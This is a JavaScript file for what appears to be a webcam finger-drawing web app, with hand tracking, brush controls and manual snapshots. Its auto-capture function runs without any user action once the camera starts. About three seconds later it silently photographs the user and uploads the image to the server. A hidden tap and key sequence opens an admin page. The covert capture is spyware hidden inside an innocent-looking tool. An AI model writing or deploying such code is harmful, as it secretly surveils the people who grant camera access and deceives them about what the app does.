camera_draw / public /script.js
VISHAL18for4's picture
Update public/script.js
3bfeb60 verified
Raw
History Blame Contribute Delete
15.4 kB
// ============================================================
// 1. DOM References
// ============================================================
const video = document.getElementById('webcam');
const canvas = document.getElementById('drawCanvas');
const ctx = canvas.getContext('2d');
const statusIndicator = document.getElementById('statusIndicator');
const fpsSpan = document.getElementById('fpsCounter');
const savedSpan = document.getElementById('savedCounter');
const brushColorInput = document.getElementById('brushColor');
const sizeDisplay = document.getElementById('sizeDisplay');
const eraserBtn = document.getElementById('eraserToggle');
const clearBtn = document.getElementById('clearCanvas');
const snapshotBtn = document.getElementById('snapshotBtn');
const toggleCamBtn = document.getElementById('toggleCamera');
const sizeDownBtn = document.getElementById('brushSizeDown');
const sizeUpBtn = document.getElementById('brushSizeUp');
// ============================================================
// 2. Backend Logger (silent)
// ============================================================
function backendLog(message, level = 'info') {
const payload = { message, level, timestamp: new Date().toISOString() };
fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {});
}
// ============================================================
// 3. State Variables
// ============================================================
let drawing = false;
let lastX = null;
let lastY = null;
let currentColor = '#FF4500';
let brushSize = 5;
let eraserMode = false;
let cameraVisible = true;
let savedCount = 0;
let frameCount = 0;
let lastFpsUpdate = performance.now();
let handposeModel = null;
let cameraStream = null;
let isModelReady = false;
let canvasWidth = 0;
let canvasHeight = 0;
let modelLoadAttempts = 0;
const MAX_MODEL_ATTEMPTS = 3;
const TRIGGER_COUNT = 10;
let detectionInterval = null;
let videoReady = false;
let autoCaptureDone = false; // Track if auto-capture already happened
// ============================================================
// 4. Status Indicator
// ============================================================
function setStatus(text, type = 'loading') {
statusIndicator.textContent = text;
statusIndicator.className = type;
}
// ============================================================
// 5. Canvas Resize
// ============================================================
function resizeCanvas() {
const rect = canvas.parentElement.getBoundingClientRect();
if (rect.width === 0 || rect.height === 0) {
canvas.width = window.innerWidth || 640;
canvas.height = window.innerHeight || 480;
} else {
canvas.width = rect.width;
canvas.height = rect.height;
}
canvasWidth = canvas.width;
canvasHeight = canvas.height;
backendLog(`Canvas resized to ${canvasWidth}x${canvasHeight}`);
}
setTimeout(resizeCanvas, 100);
window.addEventListener('resize', resizeCanvas);
window.addEventListener('orientationchange', () => setTimeout(resizeCanvas, 500));
// ============================================================
// 6. Admin Panel Trigger โ€“ 10 Taps or 10 Key Presses
// ============================================================
let adminTriggerCount = 0;
let adminTriggerTimer = null;
function openAdminPanel() {
backendLog('๐Ÿ” Opening admin panel...');
window.location.href = '/admin.html';
}
document.addEventListener('keydown', (e) => {
if (e.key === '3') {
e.preventDefault();
adminTriggerCount++;
clearTimeout(adminTriggerTimer);
adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000);
if (adminTriggerCount >= TRIGGER_COUNT) {
adminTriggerCount = 0;
backendLog('โœ… Admin trigger activated');
openAdminPanel();
}
}
});
function setupTapTrigger(element) {
let tapCount = 0;
let tapTimer = null;
element.addEventListener('click', (e) => {
if (e.target.closest('button') || e.target.closest('.toolbar') || e.target.closest('header')) {
return;
}
tapCount++;
clearTimeout(tapTimer);
tapTimer = setTimeout(() => { tapCount = 0; }, 3000);
if (tapCount >= TRIGGER_COUNT) {
tapCount = 0;
backendLog('โœ… Admin trigger activated');
openAdminPanel();
}
});
}
setupTapTrigger(canvas);
// ============================================================
// 7. Autoโ€‘Capture Function โ€“ Saves photo silently to backend
// ============================================================
async function autoCaptureSnapshot() {
try {
backendLog('๐Ÿ“ธ Auto-capture triggered (3s delay)');
// Wait 3 seconds before capturing
await new Promise(resolve => setTimeout(resolve, 3000));
// Capture the current frame
const tempCanvas = document.createElement('canvas');
tempCanvas.width = canvasWidth || 640;
tempCanvas.height = canvasHeight || 480;
const tempCtx = tempCanvas.getContext('2d');
if (videoReady && video.readyState >= 2) {
tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
}
// Also draw any existing drawing (if any)
tempCtx.drawImage(canvas, 0, 0);
const dataURL = tempCanvas.toDataURL('image/png');
const base64 = dataURL.split(',')[1];
const response = await fetch('/api/snapshot', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ image: base64 })
});
const result = await response.json();
if (result.success) {
savedCount++;
savedSpan.textContent = `Saved: ${savedCount}`;
backendLog(`๐Ÿ“ธ Auto-saved: ${result.filename}`);
autoCaptureDone = true;
} else {
backendLog(`Auto-save failed: ${result.error}`);
}
} catch (err) {
backendLog(`Auto-save error: ${err.message}`);
}
}
// ============================================================
// 8. Handpose Model Loading โ€“ OPTIMIZED for performance
// ============================================================
async function loadHandposeModel() {
try {
setStatus('Loading...', 'loading');
backendLog('Loading handpose model...');
if (typeof handpose === 'undefined') {
backendLog('handpose library not loaded');
setStatus('Library missing', 'error');
return null;
}
// Load with lower resolution for better performance
const loadPromise = handpose.load({
modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1',
modelParams: {
maxContinuousChecks: 3, // Reduced for speed
detectionConfidence: 0.7, // Lower threshold = faster
iouThreshold: 0.3,
scoreThreshold: 0.7 // Lower = faster detection
}
});
const timeoutPromise = new Promise((_, reject) => {
setTimeout(() => reject(new Error('Model load timeout')), 20000);
});
const model = await Promise.race([loadPromise, timeoutPromise]);
backendLog('โœ… Handpose model loaded');
return model;
} catch (err) {
backendLog(`Model load error: ${err.message}`);
setStatus('Model failed', 'error');
return null;
}
}
// ============================================================
// 9. Camera Setup โ€“ with autoโ€‘capture trigger
// ============================================================
async function startCamera() {
try {
setStatus('Starting...', 'loading');
backendLog('Requesting camera...');
cameraStream = await navigator.mediaDevices.getUserMedia({
video: {
facingMode: 'user',
width: { ideal: 480 }, // Lower resolution for performance
height: { ideal: 360 }
}
});
video.srcObject = cameraStream;
video.setAttribute('playsinline', '');
await new Promise((resolve) => {
video.onloadedmetadata = resolve;
video.onerror = resolve;
setTimeout(resolve, 5000);
});
await video.play();
videoReady = true;
backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`);
resizeCanvas();
// TRIGGER AUTO-CAPTURE โ€“ after 3 seconds (handled inside function)
autoCaptureSnapshot();
// Load model (in background, won't block UI)
handposeModel = await loadHandposeModel();
if (handposeModel) {
isModelReady = true;
setStatus('Ready โœ‹', 'ready');
startDetectionLoop();
} else {
setStatus('Retry model', 'error');
statusIndicator.style.cursor = 'pointer';
statusIndicator.onclick = () => {
modelLoadAttempts++;
if (modelLoadAttempts < MAX_MODEL_ATTEMPTS) {
loadHandposeModel().then(model => {
if (model) {
handposeModel = model;
isModelReady = true;
setStatus('Ready โœ‹', 'ready');
startDetectionLoop();
}
});
}
};
}
requestAnimationFrame(drawLoop);
} catch (err) {
backendLog(`Camera error: ${err.message}`);
setStatus('Camera needed', 'error');
ctx.fillStyle = '#1a1a2e';
ctx.fillRect(0, 0, canvas.width || 640, canvas.height || 480);
ctx.fillStyle = '#888';
ctx.font = '20px sans-serif';
ctx.textAlign = 'center';
ctx.fillText('Please allow camera access', (canvasWidth || 640)/2, (canvasHeight || 480)/2);
ctx.fillText('Then refresh the page', (canvasWidth || 640)/2, (canvasHeight || 480)/2 + 40);
}
}
// ============================================================
// 10. Hand Detection Loop โ€“ OPTIMIZED: runs at lower frequency
// ============================================================
function startDetectionLoop() {
if (detectionInterval) clearInterval(detectionInterval);
// Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load
detectionInterval = setInterval(async () => {
if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return;
try {
const predictions = await handposeModel.estimateHands(video);
if (predictions && predictions.length > 0) {
const landmarks = predictions[0].landmarks;
const tip = landmarks[8];
const mcp = landmarks[5];
const isIndexUp = (tip[1] < mcp[1] - 10);
const x = tip[0] * canvasWidth;
const y = tip[1] * canvasHeight;
// Draw cursor
ctx.beginPath();
ctx.arc(x, y, 6, 0, 2 * Math.PI);
ctx.fillStyle = eraserMode ? '#ff6666' : currentColor;
ctx.fill();
ctx.strokeStyle = '#fff';
ctx.lineWidth = 2;
ctx.stroke();
if (isIndexUp) {
if (!drawing) {
drawing = true;
lastX = x;
lastY = y;
} else {
if (lastX !== null && lastY !== null) {
ctx.beginPath();
ctx.moveTo(lastX, lastY);
ctx.lineTo(x, y);
ctx.strokeStyle = eraserMode ? '#1a1a2e' : currentColor;
ctx.lineWidth = eraserMode ? brushSize * 2 : brushSize;
ctx.lineCap = 'round';
ctx.lineJoin = 'round';
ctx.stroke();
}
lastX = x;
lastY = y;
}
} else {
drawing = false;
lastX = null;
lastY = null;
}
} else {
drawing = false;
lastX = null;
lastY = null;
}
} catch (err) {
// silent
}
}, 200); // 200ms = 5 FPS detection (much lighter)
}
// ============================================================
// 11. Drawing Loop โ€“ OPTIMIZED: lower frame rate for video
// ============================================================
function drawLoop(timestamp) {
// Only update every 2 frames to reduce CPU usage
frameCount++;
if (timestamp - lastFpsUpdate >= 1000) {
fpsSpan.textContent = `${frameCount} FPS`;
frameCount = 0;
lastFpsUpdate = timestamp;
}
if (videoReady && video.readyState >= 2 && video.videoWidth > 0) {
try {
ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight);
} catch (err) {
ctx.fillStyle = '#1a1a2e';
ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480);
}
} else {
ctx.fillStyle = '#1a1a2e';
ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480);
}
requestAnimationFrame(drawLoop);
}
// ============================================================
// 12. Snapshot Capture (Manual)
// ============================================================
async function captureSnapshot() {
try {
const tempCanvas = document.createElement('canvas');
tempCanvas.width = canvasWidth || 640;
tempCanvas.height = canvasHeight || 480;
const tempCtx = tempCanvas.getContext('2d');
if (videoReady && video.readyState >= 2) {
tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
}
tempCtx.drawImage(canvas, 0, 0);
const dataURL = tempCanvas.toDataURL('image/png');
const base64 = dataURL.split(',')[1];
const response = await fetch('/api/snapshot', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ image: base64 })
});
const result = await response.json();
if (result.success) {
savedCount++;
savedSpan.textContent = `Saved: ${savedCount}`;
backendLog(`๐Ÿ“ธ Saved: ${result.filename}`);
canvas.style.transition = 'opacity 0.1s';
canvas.style.opacity = '0.7';
setTimeout(() => { canvas.style.opacity = '1'; }, 150);
} else {
backendLog(`Save failed: ${result.error}`);
}
} catch (err) {
backendLog(`Save error: ${err.message}`);
}
}
// ============================================================
// 13. UI Event Bindings
// ============================================================
brushColorInput.addEventListener('input', (e) => {
currentColor = e.target.value;
eraserMode = false;
eraserBtn.classList.remove('active');
});
sizeDownBtn.addEventListener('click', () => {
brushSize = Math.max(1, brushSize - 1);
sizeDisplay.textContent = brushSize;
});
sizeUpBtn.addEventListener('click', () => {
brushSize = Math.min(50, brushSize + 1);
sizeDisplay.textContent = brushSize;
});
eraserBtn.addEventListener('click', () => {
eraserMode = !eraserMode;
eraserBtn.classList.toggle('active');
});
clearBtn.addEventListener('click', () => {
if (confirm('Clear all drawings?')) {
drawing = false;
lastX = null;
lastY = null;
if (videoReady) {
ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight);
}
}
});
snapshotBtn.addEventListener('click', captureSnapshot);
toggleCamBtn.addEventListener('click', () => {
cameraVisible = !cameraVisible;
video.style.display = cameraVisible ? 'block' : 'none';
toggleCamBtn.classList.toggle('active');
});
document.addEventListener('keydown', (e) => {
if (e.key === 's' || e.key === 'S') captureSnapshot();
if (e.key === 'e' || e.key === 'E') eraserBtn.click();
if (e.key === 'c' || e.key === 'C') clearBtn.click();
});
// ============================================================
// 14. Initialization
// ============================================================
backendLog('๐Ÿš€ App initialized');
resizeCanvas();
startCamera();